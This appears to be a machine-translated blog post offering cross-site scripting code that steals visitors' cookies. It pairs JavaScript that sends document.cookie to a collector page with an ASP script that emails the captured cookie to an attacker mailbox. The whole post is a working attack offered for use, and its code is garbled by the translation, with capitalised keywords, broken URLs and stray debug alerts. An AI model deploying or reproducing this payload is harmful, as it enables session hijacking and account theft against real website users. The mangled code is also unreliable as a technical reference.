Xss code: asp intercepts cookies and sends them to the mailbox

Let's take a look at the code. I'm used to using php. I 'd better get an asp code.
Xss provides simple sample code for obtaining cookies. Of course, you can perform secondary processing to obtain more information.
Js Code:
Var xmlHttp;
Try
{
// Firefox, Opera 8.0 +, Safari
XmlHttp = new XMLHttpRequest ();
}
Catch (e)
{
// Alert (e );
// Internet Explorer
Try
{
XmlHttp = new ActiveXObject ("Msxml2.XMLHTTP ");
}
Catch (e)
{
Alert ("ie" + e );
Try
{
XmlHttp = new ActiveXObject ("Microsoft. XMLHTTP ");
}
Catch (e)
{
Alert ("Your browser does not support AJAX! "+ E );
/* Return false ;*/
}
}
}
Alert ("sdfsd" + xmlHttp );
Netscape. security. PrivilegeManager. enablePrivilege ("UniversalPreferencesRead UniversalPreferencesWrite ");
XmlHttp. open ("GET", "http: // localweb/xss. asp? Cookie = "+ document. cookie, true );
Alert ("sdfsd ");
XmlHttp. send (null );
Alert ("Mail send ");
Asp Sender: www.2cto.com
 
Set MyCDONTSMail = CreateObject ("CDONTS. NewMail ")
 
MyCDONTSMail. From = "xssxss@xssxss.com"
 
MyCDONTSMail. To = "xssxss@xssxss.com"
 
MyCDONTSMail. Subject = "Xss. COM cookie is comming"
 
MyBody = request ("cookie ")
 
MyCDONTSMail. Body = MyBody
 
MyCDONTSMail. Send
 
Set MyCDONTSMail = nothing
 
You can add the <% and %> symbols by yourself. I cannot display them when I add them.


Author http://www.xssxss.com/fuck/1003.xss